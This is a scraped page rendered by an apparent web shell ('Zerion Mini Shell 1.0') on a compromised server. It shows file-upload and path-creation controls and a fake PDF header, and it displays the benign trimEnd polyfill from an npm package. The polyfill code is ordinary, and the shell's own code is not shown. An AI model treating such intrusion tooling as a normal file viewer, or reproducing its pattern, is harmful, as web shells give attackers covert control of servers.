%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/string.prototype.trimend/
Upload File :
Create Path :
Current File : //var/www/html/node_modules/string.prototype.trimend/polyfill.js

'use strict';

var implementation = require('./implementation');

module.exports = function getPolyfill() {
	if (!String.prototype.trimEnd && !String.prototype.trimRight) {
		return implementation;
	}
	var zeroWidthSpace = '\u200b';
	var trimmed = zeroWidthSpace.trimEnd ? zeroWidthSpace.trimEnd() : zeroWidthSpace.trimRight();
	if (trimmed !== zeroWidthSpace) {
		return implementation;
	}
	return String.prototype.trimEnd || String.prototype.trimRight;
};

Zerion Mini Shell 1.0